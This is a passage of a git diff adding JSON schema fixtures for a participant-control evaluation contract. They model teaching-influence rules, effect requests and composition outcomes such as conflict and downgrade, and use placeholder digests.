"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + { + "instance_id": "monitor", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + }, + { + "slot_id": "monitor-slot", + "instance_id": "monitor", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "history-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + { + "instance_id": "monitor", + "state": { + "kind": "provider-state", + "ref": "monitor-state", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "rule_firings": [], + "attempt": 1, + "prior_effect_claims": [] + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:2971ae9260b3bbd46daa6679d83340632898a9ff3c88a086007234a9f8e983d2", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:2971ae9260b3bbd46daa6679d83340632898a9ff3c88a086007234a9f8e983d2", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-monitor", + "slot_id": "monitor-slot", + "instance_id": "monitor", + "binding_digest": "sha256:09f592677ee9fb4bc045192bbdf5e8375e59a047cadbd9ec4ebe6ae2facc9a54", + "context_digest": "sha256:2971ae9260b3bbd46daa6679d83340632898a9ff3c88a086007234a9f8e983d2", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-2", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "second-effect", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:2971ae9260b3bbd46daa6679d83340632898a9ff3c88a086007234a9f8e983d2", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + }, + { + "instance_id": "monitor", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:2971ae9260b3bbd46daa6679d83340632898a9ff3c88a086007234a9f8e983d2", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "conflict", + "blockers": [ + "effect-conflict" + ], + "contributing_result_ids": [ + "result-fact", + "result-rule", + "result-monitor" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/downgrade.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/downgrade.json new file mode 100644 index 000000000..70f983fd0 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/downgrade.json @@ -0,0 +1,419 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "history-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "rule_firings": [], + "attempt": 1, + "prior_effect_claims": [] + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "bounded", + "status": "resolved", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [ + { + "kind": "constraint", + "ref": "finite-coverage", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": { + "kind": "authority", + "ref": "weaken-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "weakened", + "blockers": [ + "support:influence" + ], + "contributing_result_ids": [ + "result-fact", + "result-rule" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/exhausted-replay.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/exhausted-replay.json new file mode 100644 index 000000000..c88bac8cd --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/exhausted-replay.json @@ -0,0 +1,445 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": 